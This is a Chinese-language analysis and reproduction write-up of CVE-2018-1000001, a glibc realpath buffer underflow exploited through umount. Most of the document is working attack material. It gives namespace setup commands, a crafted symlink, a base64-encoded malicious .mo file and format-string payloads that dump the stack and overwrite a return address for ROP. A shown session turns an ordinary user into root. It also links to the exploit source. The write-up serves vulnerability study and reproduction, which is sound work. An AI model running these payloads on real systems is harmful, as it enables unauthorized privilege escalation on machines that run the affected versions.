Glibc本地提权漏洞分析(CVE-2018-1000001)

 

1. 背景介绍

 

2. 漏洞分析

 

3. POC

a. POC原理

构造特殊的namespace进程(下文称ns_proc),并在进程的工作目录下构建特殊的目录结构,包含特制的符号链接,和特制的NLS文件;

使umount在ns_proc进程的工作目录下运行,卸载特制的符号链接触发越界写,覆盖setloacle需要加载的正常文件路径,迫使其使用相对路径加载特制的 NLS文件;

特制NLS文件能够控制umount的error信息的格式,可以利用%n获取写入栈内存的能力,而刚好能够修改umount libmnt_context结构体的restricted标志位,使umount认为调用者为root权限,进而允许后续的umout /操作,从而实现DOS。

b. POC源码

链接: https://pan.baidu.com/s/11kHwHoFTkJ2sJT36kzNRKw 密码:vffy

c. 复现步骤
  • 复现环境
    • 环境清单
      • 系统版本: Linux debian 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64 GNU/Linux
      • 发行版名称: Debian GNU/Linux 9 (stretch)
      • glibc版本: Debian GLIBC 2.24-11+deb9u4
      • gcc版本: gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516
      • umount版本: umount from util-linux 2.29.2
      • 镜像下载地址:debian-9.12.0-amd64-DVD-1.iso
      • 虚拟机软件:VMwareFusion 专业版 11.5.1 (15018442)
      • 虚拟机软件:QEMU emulator version 4.2.0
    • QEMU虚拟机搭建步骤:
# 1. 去上面?给出的地址处下载镜像
# 2. 创建虚拟机硬盘
$ qemu-img create -f qcow2 debian9.img 10G

# 3. 安装虚拟机(有条件可以增加-enable-kvm选项)
# 判断方法:
#   grep -E 'vmx|svm' /proc/cpuinfo
#   lsmod | grep kvm
$ qemu-system-x86_64  -m 2048 -hda debian9.img  -cdrom ./debian-9.12.0-amd64-DVD-1.iso

# 4. 启动虚拟机
$ qemu-system-x86_64 -m 2048  debian9.img

# 5. 启动后安装GCC
$ su
$ apt install gcc

Step1 – 设置unprivileged_userns_clone权限

# 将unprivileged_userns_clone设置为1(默认为0)
root$ echo 1 > /proc/sys/kernel/unprivileged_userns_clone

Step2 – 创建具有独立 user/mount namespace的进程(下文称us_proc)

其他进程进入us_proc进程的"/proc/[us_proc pid]/cwd"目录后,用realpath(getcwd)获取的相对目录均包含"(unreachable)/tmp/"前缀

/usr/bin/unshare -m -U --map-root-user /bin/bash
mount -t tmpfs tmpfs /tmp
cd /tmp
chmod 00755 .

# Terminal 1
debian@debian:~/Desktop/work$ /usr/bin/unshare -m -U --map-root-user /bin/bash
root@debian:~/Desktop/work# mount -t tmpfs tmpfs /tmp
root@debian:~/Desktop/work# cd /tmp
root@debian:/tmp# chmod 00755 .
root@debian:/tmp# echo $$
52426
root@debian:/tmp# 

# 效果如下
# Terminal 2
$ cd /proc/52426/cwd
debian@debian:/proc/52426/cwd$ 
debian@debian:/proc/52426/cwd$ realpath .
(unreachable)/tmp
debian@debian:/proc/52426/cwd$ realpath ../x
(unreachable)/x
debian@debian:/proc/52426/cwd

Step3 – 创建漏洞利用需要的目录和文件

mkdir -p -- "(unreachable)/tmp" "(unreachable)/tmp/__gconv_find_shlib/C/LC_MESSAGES" "(unreachable)/x"
ln -s ../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A "(unreachable)/tmp/down"
base64 -d <<B64-EOF | bzip2 -cd > "(unreachable)/tmp/__gconv_find_shlib/C/LC_MESSAGES/util-linux.mo"
QlpoOTFBWSZTWTOfm9IAAGX/pn6UlARGB+FeKyZnAD/n3mACAAAgAAEgAJSIqfkpspk0eUGJ6gAG
mQeoaD1PJAamlPJGCNMTIaNGmnqMQ0AAzSwpEWpQICVUw+490ohZBgZ+s4EBAZCn/TavSQshtCiv
iG6HOehyAp4FPt3zkpdTxNchTYITLBkXUjsgpN2QDBNX8qmbpkVgfLXKcQc1ZhVF0FxUQOtnbGlL
5NhRmORwmQF1Dw3Yu1mds6tGAmnLwWwc2KRKGl5hcLuSKcKEgZz83pA=
B64-EOF

root@debian:/tmp# tree
.
└── (unreachable)
    ├── tmp
    │   ├── down -> ../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A
    │   └── __gconv_find_shlib
    │       └── C
    │           └── LC_MESSAGES
    │               └── util-linux.mo
    └── x


root@debian:/tmp# strings "(unreachable)/tmp/__gconv_find_shlib/C/LC_MESSAGES/util-linux.mo"
%s: not mounted
Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
AA%6$lnlnAAAAAAAAAA

__gconv_find_shlib/C/LC_MESSAGES目录是setloacale寻找mo文件的相对路径,特别要注意的一点:__gconv_find_shlib 在不同系统上不一样,在漏洞作者的exp中还给出了两个目录(from_archive, _nl_load_locale_from_archive) ;

"(unreachable)/x" 是realpath解析符号链接的返回值对应的目录;

util-linux.mo文件用于保存特制的libc依赖的.mo翻译文件;

符号链接用于触发越界写漏洞;

util-linux.mo保存了触发DOS的特制格式化字符串"AA%6$lnlnAAAAAAAAAA"

Step4 – 通过umount触发DOS

test$ cd /proc/2299/cwd
test$ LC_ALL=C.UTF-8 /bin/umount --lazy down /
AAlnAAAAAAAAAA

LC_ALL环境变量会使setlocale函数去加载翻译文件;

umount会先尝试卸载down目录,这个特制的符号链接会触发realpath漏洞造成越界写,将堆内存中的"/usr/lib/locale/C.utf8/LC_CTYPE"路径字符串中LC_CTYPE覆盖为AAAAAA(略...)/A

当realpath将down解析为(unreachable)/x后,umount会调用warnx函数打印警告信息,此时会加载特制的util-linux.mo文件,"AA%6$lnlnAAAAAAAAAA"替换掉warnx函数的第一个参数"%s: not mounted"

利用格式化字符串,umount栈中RSP存放的地址处的指针指向的long int值(*(long *)$RSP)会被修改为2。这会将该处存放的libmnt_context结构体的restricted字段修改为0, 从而让umount认为调用者是root用户,并成功进行后面的umount / 操作。

这个步骤相关的umount调用栈:

main->umount_one->make_exit_code->warnx(_("%s: not mounted"), tgt);

4. EXP

a. EXP原理

准备阶段(prepareNamespacedProcess)

  • 先通过clone启动一个拥有独立user & mount namespace的子进程,
    子进程启动后,会先等待父进程将其uid和gid设置为0(当前namespace)
    然后mount tmpfs/tmp目录,并切换到/tmp作为当前工作目录
    创建一个ready文件(O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW|O_NOCTTY)
  • 获取当前系统信息
  • 在clone出的子进程工作目录(/proc/[pid]/cwd)中生成一系列文件和目录

生成的文件如下:

invincible@ubuntu:/proc/10013/cwd$ tree
.
├── DATEMSK
├── ready
└── (unreachable)
    ├── tmp
    │   ├── down -> ../x/../../AAA(省略...)A/AAA(省略...)A/A
    │   └── from_archive
    │       ├── C.UTF-8
    │       │   └── LC_MESSAGES
    │       │       └── util-linux.mo
    │       ├── X.x
    │       │   └── LC_MESSAGES
    │       └── X.X
    │           └── LC_MESSAGES
    │               └── util-linux.mo
    └── x


10 directories, 5 files 
invincible@ubuntu:/proc/10013/cwd$ cat DATEMSK 
#!/home/invincible/Desktop/test/exp
unused
invincible@ubuntu:/proc/10013/cwd$ file DATEMSK 
DATEMSK: a /home/invincible/Desktop/test/exp script, ASCII text executable

invincible@ubuntu:/proc/10013/cwd$ 
invincible@ubuntu:/proc/10013/cwd$ file ready 
ready: empty


invincible@ubuntu:/proc/10013/cwd$ file (unreachable)/tmp/from_archive/C.UTF-8/LC_MESSAGES/util-linux.mo 
(省略...)/util-linux.mo: GNU message catalog (little endian), revision 0.0, 4 messages


invincible@ubuntu:/proc/10013/cwd$ file (unreachable)/tmp/from_archive/X.X/LC_MESSAGES/util-linux.mo 
(省略...)/util-linux.mo: fifo (named pipe)

构造的DATEMSK文件内容为/proc/self/exe符号链接指向的文件:

invincible@ubuntu:/proc/10013/cwd$ cat DATEMSK 
#!/home/invincible/Desktop/test/exp
unused
invincible@ubuntu:/proc/10013/cwd$ file DATEMSK 
DATEMSK: a /home/invincible/Desktop/test/exp script, ASCII text executabl

构造特制的util-linux.mo文件内容:

invincible@ubuntu:~/Desktop/test$ msgunfmt util-linux.mo -o util-linux.po
invincible@ubuntu:~/Desktop/test$ cat util-linux.po 
msgid ""
msgstr ""
"Language: enn"
"MIME-Version: 1.0n"
"Content-Type: text/plain; charset=UTF-8n"
"Content-Transfer-Encoding: 8bitn"


msgid "%s: mountpoint not found"
msgstr "1234"


msgid "%s: not mounted"
msgstr ""
"AA%6$lnAAAAAA%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx"
(省略... 共256个%16lx)
"%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx"
"%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%016lx%1$68hhx%256$hhn"


msgid ""
"%s: target is busyn"
"        (In some cases useful info about processes thatn"
"         use the device is found by lsof(8) or fuser(1).)"
msgstr "5678"
invincible@ubuntu:~/Desktop/test$

提权阶段(attemptEscalation)

  • 准备工作
    • 创建用于和子进程通信的pipe用于读取子进程stdout和stderr
    • fork出子进程(下文称umount进程),在子进程中设置pipe,切换到us_proc进程的工作目录,execve执行umount,具体执行命令:
AANGUAGE=X.X AANGUAGE=X.X (省略...共255次) LC_ALL=C.UTF-8 /bin/umount  /run /run /run /run /run /run /run /run /run /run down LABEL=78 LABEL=789 LABEL=789a LABEL=789ab LABEL=789abc LABEL=789abcd LABEL=789abcde LABEL=789abcdef LABEL=789abcdef0 LABEL=789abcdef0
  • 开始提权
    • 第0步,父进程开始持续读取umount进程的输出,等待”AAAAAAAA”字符串的出现
    • 第1步,读取完整的栈内存数据,并开始解析,构造第二阶段的util-linx.mo文件内容并写入
    • 第2步,持续等待,直到在超时时间内,第二阶段util-linux.mo文件内容被umount读取
    • 第3步,读取剩下的umount输出防止其被阻塞
    • umount部分:
      • umount启动后,解析符号链接down会触发越界写,使堆内存中存放的正常文件路径失效,迫使其加载位于相对目录C.UTF-8/LC_MESSAGES/中特制的util-linux.mo文件,其中的 poisonous format string 会将栈内存dump到stderr,同时还会通过指向环境变量的指针,将”AANGUAGE=X.X”修改为”LANGUAGE=X.X”
      • umount继续执行,由于环境变量被修改,这将使umount读取第二阶段的util-linux.mo文件(位于X.X/LC_MESSAGES目录下,由于该文件为fifo named pipe,所以这里umoun会阻塞等待其被写入数据)
      • umount进程在父进程第1步完成后恢复执行,读取第二阶段mo文件,其中的格式化字符串将会修改umount的返回地址,通过setdate+execl实现ROP,最终执行DATEMSK文件中的exp进程,利用umount提升exp可执行文件的权限后执行,生成root shell完成提权
  • dump栈内存,修改restricted字段,修改AANGUAGE环境变量使用的格式化字符串
"AA%6$lnAAAAAA%016lx(省略... 共256个%016lx)%016lx%1$68hhx%256$hhn"
  • 修改返回地址使用的格式化字符串
debian@debian:~/Desktop/work$ msgunfmt "/proc/1609/cwd/(unreachable)/tmp/__gconv_find_shlib/X.x/LC_MESSAGES/util-linux.mo" -o util-linux.po
debian@debian:~/Desktop/work$ cat util-linux.po 
msgid ""
msgstr ""
"Language: enn"
"MIME-Version: 1.0n"
"Content-Type: text/plain; charset=UTF-8n"
"Content-Transfer-Encoding: 8bitn"


msgid "%s: mountpoint not found"
msgstr ""
"%67$hn%71$hn%1$18640.18640s%68$hn%1$13200.13200s%64$hn%1$906.906s%66$hn%70$hn"
"%1$1567.1567s%65$hn%1$1.1s%69$hn%1$31222.31222s%1$5414.5414s%1$s%1$s%63$hn"
"%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%37$hn-%35$lx-%37$lx-%62$lx-%63$lx-%64$lx-"
"%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%78$sn"


msgid "%s: not mounted"
msgstr "BBBB5678%3$sn"


msgid ""
"%s: target is busyn"
"        (In some cases useful info about processes thatn"
"         use the device is found by lsof(8) or fuser(1).)"
msgstr "BBBBABCD%sn"
b. EXP源码

​ 复现环境exp: https://pan.baidu.com/s/1oaKWzCzqwdkhywu8JOmivQ 密码:60vv

​ 原作者exp: exp.c

c. 复现步骤
  • 搭建复现环境,与POC中的环境相同
  • 步骤一 设置unprivileged_userns_clone权限
# 将unprivileged_userns_clone设置为1(默认为0)
root$ echo 1 > /proc/sys/kernel/unprivileged_userns_clone
  • 步骤二 编译exp文件

    使用的是修改过的exp,具体修改了加载mo的目录和execl的相对偏移以适配复现环境

gcc exp.c -o exp
  • 步骤三 执行exp
debian@debian:~/Desktop/work$ id
uid=1000(debian) gid=1000(debian) groups=1000(debian),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth),113(lpadmin),118(scanner)
debian@debian:~/Desktop/work$ ./exp
./exp: invoked as SUID, invoking shell ...
root@debian:~/Desktop/work# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth),113(lpadmin),118(scanner),1000(debian)
root@debian:~/Desktop/work#
  • 如何获取util-linx.mo文件的相对路径
# 定位到_nl_find_msg调用,找到第一个参数的值
char *_nl_find_msg (struct loaded_l10nfile *domain_file,
            struct binding *domainbinding, const char *msgid,
            int convert, size_t *lengthp)
     internal_function;


# Terminal 1
/usr/bin/unshare -m -U --map-root-user /bin/bash
mount -t tmpfs tmpfs /tmp
cd /tmp
chmod 00755 .
mkdir -p -- "(unreachable)/tmp" "(unreachable)/tmp/xxx/C.UTF-8.utf8/LC_MESSAGES" "(unreachable)/x" 
ln -s ../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A "(unreachable)/tmp/down"
echo $$
46416


# Terminal 2
cd /proc/46416/cwd
gdb
file /bin/umount
set args --lazy down 
set env LC_ALL=C.UTF-8
b main
r
b *umount_one if *(char *)$rsi == '('
c
b mk_exit_code
c
b *__dcigettext+1265
c


# 通过调用信息找到第一个参数
"(unreachable)/tmp/__gconv_find_shlib/C.UTF-8/LC_MESSAGES/util-linux.mo"
# 因此相对路径应改为:__gconv_find_shlib(原exp中是from_archive)
[---------------------------------registers-------------------------
...
RCX: 0x1 
RDX: 0x55698c49ee78 ("%s: not mounted")
RSI: 0x55698e233200 ("AAAAAA/A")
RDI: 0x55698e23be90 --> 0x55698e23c3b0 ("(unreachable)/tmp/__gconv_find_shlib/C.UTF-8/LC_MESSAGES/util-linux.mo")
...
R8 : 0x7fff5515b1b8 --> 0x7fb5d5b84000 --> 0x7fb5d572e000 --> 0x10102464c457f 
...
[-------------------------------------code-------------------------
...
=> 0x7fb5d4d69d21 <__dcigettext+1265>:    call   0x7fb5d4d68bc0 <_nl_find_msg>
 ...
Guessed arguments:
arg[0]: 0x55698e23be90 --> 0x55698e23c3b0 ("(unreachable)/tmp/__gconv_find_shlib/C.UTF-8/LC_MESSAGES/util-linux.mo")
arg[1]: 0x55698e233200 ("AAAAAA/A")
arg[2]: 0x55698c49ee78 ("%s: not mounted")
arg[3]: 0x1 
arg[4]: 0x7fff5515b1b8 --> 0x7fb5d5b84000 --> 0x7fb5d572e000 --> 0x10102464c457f 


Breakpoint 4, 0x00007fb5d4d69d21 in __dcigettext (
...
gdb-peda$ 


# 调用栈如下
gdb-peda$ bt
#0  0x00007fb5d4d69d21 in __dcigettext (
    domainname=0x55698e233580 "util-linux", 
    msgid1=0x55698c49ee78 "%s: not mounted", 
    msgid2=0x0, plural=0x0, n=0x0, 
    category=0x5) at dcigettext.c:742
#1  0x000055698c49d68d in mk_exit_code (cxt=0x55698e2335a0, rc=0xffffffff)
    at sys-utils/umount.c:206
#2  0x000055698c49dba1 in umount_one (cxt=0x55698e2335a0, spec=...
#3  0x000055698c49d152 in main (argc=0x0, argc@entry=0x3, ...
#4  0x00007fb5d4d5c2e1 in __libc_start_main (main=0x55698c49c970 ...
#5  0x000055698c49d3aa in _start ()
  • 如何在umount中dump栈内存的位置下断点
gcc my_exp.c -o exp4dbg -g
gdb
file exp4dbg
b main
r
set follow-fork-mode parent
b attemptEscalation
c
set follow-fork-mode child
c
b *umount_one if *(char *)$rsi == '('
c
b mk_exit_code
c
b *mk_exit_code+165
c


=> 0x561465315695 <mk_exit_code+165>: call   0x561465314560 <warnx@plt>


gdb-peda$ bt
#0  0x0000561465315695 in mk_exit_code (cxt=0x5614658005a0, ...
#1  0x0000561465315ba1 in umount_one (cxt=0x5614658005a0, spec=...
#2  0x0000561465315152 in main (argc=0xa, argc@entry=0x16, 
...
#3  0x00007f29943012e1 in __libc_start_main (main=0x561465314970 ...
#4  0x00005614653153aa in _start ()
gdb-peda$

 

5.其他

Linux x64 传参

RCX: 0x64 ('d')
RDX: 0x63 ('c')
RSI: 0x62 ('b')
RDI: 0x61 ('a')


R8 : 0x65 ('e')
R9 : 0x66 ('f')


RBP: 0x7fffffffde00 --> 0x4005c0 (<__libc_csu_init>:    push   r15)
RSP: 0x7fffffffddf0 --> 0x67 ('g')


[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf0 --> 0x67 ('g')
0008| 0x7fffffffddf8 --> 0x68 ('h')


# 先push 'h' 后push 'g'
/*
64位函数传参实验
*/


#include <stdio.h>


int func(int a1, int b2, int c3, int d4, int e5, int f6, int g7, int h8){
    printf("%dn", a1+b2+c3+d4+e5+f6+g7+h8);
    return 0;
}


int main(){
    func('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h');
    return 0;
}


/*
Dump of assembler code for function main:
   0x0000000000400580 <+0>: push   rbp
   0x0000000000400581 <+1>: mov    rbp,rsp
=> 0x0000000000400584 <+4>: push   0x68
   0x0000000000400586 <+6>: push   0x67
   0x0000000000400588 <+8>: mov    r9d,0x66
   0x000000000040058e <+14>:    mov    r8d,0x65
   0x0000000000400594 <+20>:    mov    ecx,0x64
   0x0000000000400599 <+25>:    mov    edx,0x63
   0x000000000040059e <+30>:    mov    esi,0x62
   0x00000000004005a3 <+35>:    mov    edi,0x61
   0x00000000004005a8 <+40>:    call   0x400526 <func>
   0x00000000004005ad <+45>:    add    rsp,0x10
   0x00000000004005b1 <+49>:    mov    eax,0x0
   0x00000000004005b6 <+54>:    leave  
   0x00000000004005b7 <+55>:    ret    
End of assembler dump.


gdb-peda$ c
Continuing.


[----------------------------------registers-----------------------------------]
...
RCX: 0x64 ('d')
RDX: 0x63 ('c')
RSI: 0x62 ('b')
RDI: 0x61 ('a')


RBP: 0x7fffffffde00 --> 0x4005c0 (<__libc_csu_init>:    push   r15)
RSP: 0x7fffffffddf0 --> 0x67 ('g')


RIP: 0x4005a8 (<main+40>:   call   0x400526 <func>)


R8 : 0x65 ('e')
R9 : 0x66 ('f')
...
[-------------------------------------code-------------------------------------]
   0x400599 <main+25>:  mov    edx,0x63
   0x40059e <main+30>:  mov    esi,0x62
   0x4005a3 <main+35>:  mov    edi,0x61
=> 0x4005a8 <main+40>:  call   0x400526 <func>
   0x4005ad <main+45>:  add    rsp,0x10
   0x4005b1 <main+49>:  mov    eax,0x0
   0x4005b6 <main+54>:  leave  
   0x4005b7 <main+55>:  ret
...
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf0 --> 0x67 ('g')
0008| 0x7fffffffddf8 --> 0x68 ('h')
0016| 0x7fffffffde00 --> 0x4005c0 (<__libc_csu_init>:   push   r15)
0024| 0x7fffffffde08 --> 0x7ffff7a2d830 (<__libc_start_main+240>:   mov    edi,eax)
0032| 0x7fffffffde10 --> 0x1 
0040| 0x7fffffffde18 --> 0x7fffffffdee8 --> 0x7fffffffe266 ("/home/invincible/Desktop/test/64")
0048| 0x7fffffffde20 --> 0x1f7ffcca0 
0056| 0x7fffffffde28 --> 0x400580 (<main>:  push   rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value


Breakpoint 2, 0x00000000004005a8 in main () at 64_param_demo.c:13
13      func('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h');
gdb-peda$ 




*/

 

6.参考

LibcRealpathBufferUnderflow
https://www.freebuf.com/column/162202.html
https://bbs.pediy.com/thread-228678.htm

(完)